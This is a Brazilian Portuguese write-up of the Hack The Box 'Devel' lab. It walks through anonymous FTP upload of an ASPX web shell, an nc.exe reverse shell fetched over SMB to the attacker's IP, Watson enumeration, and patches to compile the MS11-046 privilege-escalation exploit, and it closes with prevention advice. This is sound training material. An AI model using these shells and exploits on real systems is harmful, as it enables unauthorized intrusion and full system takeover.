Devel - HTB Easy Machine - Português Brasil

OS Windows
Difficulty Easy
User Owns 36.4K
Root Owns 37.7K
Rating 4.8/5
Release 2017/03/15
Creator ch4p
First Blood User pzyc0
First Blood Root pzyc0
User Rated Difficulty

Sobre

Devel, embora relativamente simples, demonstra os riscos de segurança associados a algumas configurações padrão de programas. É uma máquina de nível iniciante que pode ser completada usando exploits publicamente disponíveis.

Exploração

Enumeração

Começando por um scan com nmap, vemos duas portas abertas e um indício de que fazer upload direto para o servidor via FTP pode ser uma opção.

PORT   STATE SERVICE VERSION  
21/tcp open  ftp     Microsoft ftpd  
| ftp-syst:    
|_  SYST: Windows_NT  
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  
| 03-18-17  02:06AM       <DIR>          aspnet_client  
| 03-17-17  05:37PM                  689 iisstart.htm  
|_03-17-17  05:37PM               184946 welcome.png  
80/tcp open  http    Microsoft IIS httpd 7.5  
|_http-title: IIS7  
| http-methods:    
|_  Potentially risky methods: TRACE  
|_http-server-header: Microsoft-IIS/7.5  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP 80 TCP

Primeiro, é sempre bom analisar o que está disponível na porta 80; aqui vemos uma aplicação simples que redireciona para um site externo. No momento, nada explorável por HTTP.

Screenshot

FTP 21 TCP

Voltando ao FTP, descobrimos que o login anônimo funciona e nos permite fazer upload de arquivos maliciosos. Testei com um arquivo de texto simples.

┌── devel
└─ $ ftp 10.10.10.5  
Connected to 10.10.10.5.  
220 Microsoft FTP Service  
Name (10.10.10.5:nika): Anonymous    
331 Anonymous access allowed, send identity (e-mail name) as password.  
Password:    
230 User logged in.  
Remote system type is Windows_NT.  

ftp> ls  
200 PORT command successful.  
125 Data connection already open; Transfer starting.  
03-18-17  02:06AM       <DIR>          aspnet_client  
03-17-17  05:37PM                  689 iisstart.htm  
03-17-17  05:37PM               184946 welcome.png  
226 Transfer complete.  

ftp> put nika.txt
200 PORT command successful.  
125 Data connection already open; Transfer starting.  
226 Transfer complete.  
4 bytes sent in 0,0000 seconds (106,7865 kbytes/s)  

ftp> ls  
200 PORT command successful.  
150 Opening ASCII mode data connection.  
03-18-17  02:06AM       <DIR>          aspnet_client  
03-17-17  05:37PM                  689 iisstart.htm  
09-07-25  02:43AM                    4 nika.txt  
03-17-17  05:37PM               184946 welcome.png  
226 Transfer complete.   

Conseguimos visualizar o arquivo enviado diretamente via servidor web por HTTP.

Screenshot

Ponto de Entrada

Temos aqui a vulnerabilidade CWE-434: Unrestricted Upload of File with Dangerous Type, que permite enviar um arquivo remotamente e fazê-lo ser executado pelo servidor alvo, uma falha séria que pode levar à execução remota de código.
image-cwe-434

Precisamos identificar o tipo de servidor para saber quais extensões ele pode executar, a pasta do FTP se chama aspnet_client, e checando o cabeçalho confirmamos que é um ambiente ASP.NET.

┌── devel  
└─ $ curl -I http://10.10.10.5  
HTTP/1.1 200 OK  
Content-Length: 689  
Content-Type: text/html  
Last-Modified: Fri, 17 Mar 2017 14:37:30 GMT  
Accept-Ranges: bytes  
ETag: "37b5ed12c9fd21:0"  
Server: Microsoft-IIS/7.5  
X-Powered-By: ASP.NET  
Date: Sat, 06 Sep 2025 23:42:01 GMT

Para ASP.NET, temos cmd.aspx disponível em SecLists. Vamos encontrá-lo e trazê-lo para o diretório atual.

└─ $ locate cmd.aspx  
/usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx

└─ $ cp /usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx .

Em seguida, enviamos o arquivo para o servidor FTP para que possamos executá-lo diretamente pela web.

ftp> put cmd.aspx  
200 PORT command successful.  
125 Data connection already open; Transfer starting.  
226 Transfer complete.  
1442 bytes sent in 0,0000 seconds (33,8886 Mbytes/s)  

ftp> ls  
200 PORT command successful.  
125 Data connection already open; Transfer starting.  
03-18-17  02:06AM       <DIR>          aspnet_client  
09-07-25  02:47AM                 1442 cmd.aspx  
03-17-17  05:37PM                  689 iisstart.htm  
09-07-25  02:43AM                    4 nika.txt  
03-17-17  05:37PM               184946 welcome.png

Tip

O que é cmd.aspx?

Um web shell simples em ASP.NET que pode ser enviado para um servidor vulnerável que aceite uploads de arquivo ou inclusão remota. Ao ser executado via servidor web, ele fornece ao atacante uma interface básica para execução de comandos diretamente no navegador. Essencialmente, funciona como uma backdoor: recebe entrada do usuário, passa para o terminal do sistema e retorna a saída na resposta da página. Em desafios, serve para demonstrar como um arquivo ASPX trivial pode escalar acesso do nível web para comandos do sistema.

Depois podemos acessar o cmd.aspx via HTTP e executar comandos.

Screenshot

Executar dir mostra que é definitivamente uma máquina Windows.

Screenshot

Shell Remoto

Agora o objetivo é obter um reverse shell mais completo para ganhar mais ações e escapar do diretório atual. Para isso, podemos usar uma conexão smb e o nc.exe.

Encontramos o arquivo de shell remoto. Copiamos para o diretório atual, criamos uma pasta que será usada para compartilhar arquivos e movemos o executável para essa pasta.

└─ $ locate nc.exe  
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe  

└─ $ cp  /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .

└─ $ mkdir smb  

└─ $ mv nc.exe smb

Tip

O que é nc.exe?

Versão Windows do Netcat incluída no SecLists para uso em CTFs. Normalmente é enviada para servidores vulneráveis para estabelecer shells reversos ou bind shells, permitindo execução remota de comandos e acesso interativo. Demonstra como falhas de upload podem ser transformadas em controle remoto completo usando uma ferramenta de rede confiável.

Agora, para executar código remotamente a partir daqui, vamos usar o smbserver.py do Impacket para criar um servidor SMB que envie arquivos para a máquina alvo. Precisamos de três shells ativos.

Primeiro, inicie nosso servidor smb:

└─ $ sudo smbserver.py share smb     
/usr/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_re  
sources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg  
_resources.html. The pkg_resources package is slated for removal as early as  
2025-11-30. Refrain from using this package or pin to Setuptools<81.  
 import pkg_resources  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies    
  
[*] Config file parsed  
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0  
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed  
[*] Config file parsed  
[*] Incoming connection (10.10.10.5,49159)  
[*] AUTHENTICATE_MESSAGE (\,DEVEL)  
[*] User DEVEL\ authenticated successfully  
[*] :::00::aaaaaaaaaaaaaaaa  
[*] AUTHENTICATE_MESSAGE (\,DEVEL)  
[*] User DEVEL\ authenticated successfully  
[*] :::00::aaaaaaaaaaaaaaaa

Depois, nosso listener nc:

nc -lvnp 9001

E finalmente nosso payload:

\\10.10.16.6\share\nc.exe -e cmd.exe 10.10.16.6 9001
Screenshot

Tip

Como eu sei o meu IP?

Você pode obter executando o comando abaixo e copiando o IP do tun0:

└─ $ ifconfig
...SNIP

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500  
    inet 10.10.16.6  netmask 255.255.254.0  destination 10.10.16.6  
...SNIP

Aqui está o shell remoto

┌── devel  
└─ $ nc -lnvp 9001  
Listening on 0.0.0.0 9001  
whoami  
Connection received on 10.10.10.5 49168  
Microsoft Windows [Version 6.1.7600]  
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.  
  
c:\windows\system32\inetsrv>whoami  
iis apppool\web  
  
c:\windows\system32\inetsrv>

Parece que não conseguimos entrar nas pastas de usuários por enquanto.

c:\Users>cd babis  
cd babis  
Access is denied.  
  
c:\Users>cd Administrator  
cd Administrator  
Access is denied.

Escalação de Privilégios

Primeiro vamos descobrir a versão do .NET:

c:\Users>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"  
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"  
  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.0  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5

Não conseguimos rodar winpeas, porque ele requer .Net >= 4.5.2. Então usamos o Watson, que é um script em C# para localizar vulnerabilidades no Windows. É um arquivo .sln que precisa ser compilado.

Tip

O que é um arquivo .sln?

Um arquivo .sln é uma Solution do Visual Studio. Ele organiza um ou mais projetos relacionados (C#, C++, VB.NET, etc.) em uma única solução dentro do Visual Studio.

Não sou familiar com Visual Studio e as versões mais novas não vêm com o .NET 3.5 instalado, então precisei baixar e instalar primeiro. Depois disso, pude abrir o .sln, compilar a aplicação em Release e configurar o build para x86 e .NET 3.5, como mostrado nas imagens abaixo.

Configuração da aplicação:

Screenshot

Configuração do build:

Screenshot

E em seguida build do Watson:

Screenshot

Depois disso, você verá a saída indicando onde o .exe foi salvo.

1>------ Build started: Project: Watson, Configuration: Release Any CPU ------
1>C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Microsoft.Common.CurrentVersion.targets(2110,5): warning MSB3267: The primary reference "System.Web.Extensions", which is a framework assembly, could not be resolved in the currently targeted framework. ".NETFramework,Version=v3.5,Profile=Client". To resolve this problem, either remove the reference "System.Web.Extensions" or retarget your application to a framework version which contains "System.Web.Extensions".
1>  Watson -> E:\Watson\Watson\bin\Release\Watson.exe
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

Então você pode copiar o Watson.exe para seu diretório SMB e executar o executável para obter a saída listando as vulnerabilidades na máquina.

c:\windows\system32\inetsrv>\\10.10.16.6\share\Watson.exe  
\\10.10.16.6\share\Watson.exe  
 __    __      _                      
/ / /\ \ \__ _| |_ ___  ___  _ __     
\ \/  \/ / _` | __/ __|/ _ \| '_ \    
 \  /\  / (_| | |_\__ \ (_) | | | |  
  \/  \/ \__,_|\__|___/\___/|_| |_|  
                                     
                          v2.0       
                                     
                  @_RastaMouse
 [*] OS Build number: 7600
 [*] CPU Address Width: 32
 [*] Process IntPtr Size: 4
 [*] Using Windows path: C:\WINDOWS\System32

  [*] Appears vulnerable to MS10-073
   [>] Description: Kernel-mode drivers load unspecified keyboard layers improperly, which result in arbitrary code execution in the kernel.
   [>] Exploit: https://www.exploit-db.com/exploits/36327/
   [>] Notes: None.

  [*] Appears vulnerable to MS10-092
   [>] Description: When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with.Also, In a default configuration, normal users can read and write the task files that they have created.By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
   [>] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms10_092_schelevator.rb
   [>] Notes: None.

  [*] Appears vulnerable to MS11-046
   [>] Description: The Ancillary Function Driver (AFD) in afd.sys does not properly validate user-mode input, which allows local users to elevate privileges.
   [>] Exploit: https://www.exploit-db.com/exploits/40564/
   [>] Notes: None.

  [*] Appears vulnerable to MS12-042
   [>] Description: An EoP exists due to the way the Windows User Mode Scheduler handles system requests, which can be exploited to execute arbitrary code in kernel mode.
   [>] Exploit: https://www.exploit-db.com/exploits/20861/
   [>] Notes: None.

  [*] Appears vulnerable to MS13-005
   [>] Description: Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation.
   [>] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
   [>] Notes: None.

 [*] Finished. Found 5 vulns :)

Não é todo dia que temos tantos exploits disponíveis; para este caso, podemos usar MS11-046. Como podemos ver, a descrição bate com o que precisamos para escalar privilégios.

Copiando o .exe do GitHub e executando obtive o erro abaixo, então precisei baixar o código fonte 40564.c.

c:\Windows\System32\inetsrv>\\10.10.16.6\share\MS11-046.exe  
\\10.10.16.6\share\MS11-046.exe  
Program too big to fit in memory

Mas ao tentar compilar, obtive este erro:

┌── devel  
└─ $ i686-w64-mingw32-gcc 40564.c -o MS11-046.exe  
40564.c: In function ‘main’:  
40564.c:488:5: error: too many arguments to function ‘ZwQuerySystemInformatio  
n’; expected 0, have 4  
 488 |     ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &syst  
emInformation);  
     |     ^~~~~~~~~~~~~~~~~~~~~~~~ ~~  
40564.c:502:5: error: too many arguments to function ‘ZwQuerySystemInformatio  
n’; expected 0, have 4  
 502 |     ZwQuerySystemInformation(11, systemInformationBuffer, systemInfor  
mation * sizeof(*systemInformationBuffer), NULL);  
     |     ^~~~~~~~~~~~~~~~~~~~~~~~ ~~

Com a ajuda do Copilot, corrigi o código e rodei de novo; dessa vez consegui compilar com sucesso.

i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32

Para registro, você pode colocar o código abaixo na linha 183

typedef NTSTATUS (WINAPI *PZWQUERYSYSTEMINFORMATION) (
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

E substituir as linhas 490 e 491 pelo código abaixo

PZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION) GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");

Voltando à máquina em execução, com o novo MS11-046.exe podemos elevar privilégios e obter as flags.

c:\Windows\System32>\\10.10.16.6\share\MS11-046.exe  
\\10.10.16.6\share\MS11-046.exe  
  
c:\Windows\System32>whoami  
whoami  
nt authority\system

USER

c:\Users\babis\Desktop>type user.txt  
type user.txt  
2c592c7f.....

ROOT

c:\Users\Administrator\Desktop>type root.txt  
type root.txt  
4fd659a6b.....

Como Prevenir

O primeiro e mais importante ponto é que o serviço FTP nunca deve permitir acesso anônimo. Exigindo autenticação adequada e restringindo permissões de escrita, você impede imediatamente que atacantes façam upload de arquivos arbitrários que possam ser executados pelo servidor web.

Além disso, o servidor web não deve expor o diretório de upload do FTP para requisições HTTP. Separar locais de upload internos do conteúdo publicamente acessível ajuda a bloquear a execução de arquivos maliciosos como cmd.aspx.

Manter o sistema operacional e o software instalado atualizados também é crítico. Neste caso, a elevação de privilégios só foi possível porque a máquina rodava uma build antiga do Windows vulnerável a múltiplos exploits em nível de kernel. Um bom gerenciamento de patches elimina esses vetores de ataque.

Outra prática recomendada é impor restrições e validações de tipo de arquivo quando uploads forem necessários. Permita apenas extensões específicas, verifique tipos MIME e saneie entradas de usuários para evitar execução de formatos perigosos.

Por fim, aplicar o princípio do menor privilégio nas contas e serviços (como pools de aplicação do IIS) reduz o impacto caso ocorra um comprometimento, o atacante terá, por padrão, acesso mínimo. Combinando essas medidas, mesmo se uma defesa falhar, as outras reduzem consideravelmente as chances de comprometimento total do sistema.

Notas

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

The master 0xdf
Watson Seacher
CWE-434
SecLists
MS11-046 Exploit
Impacket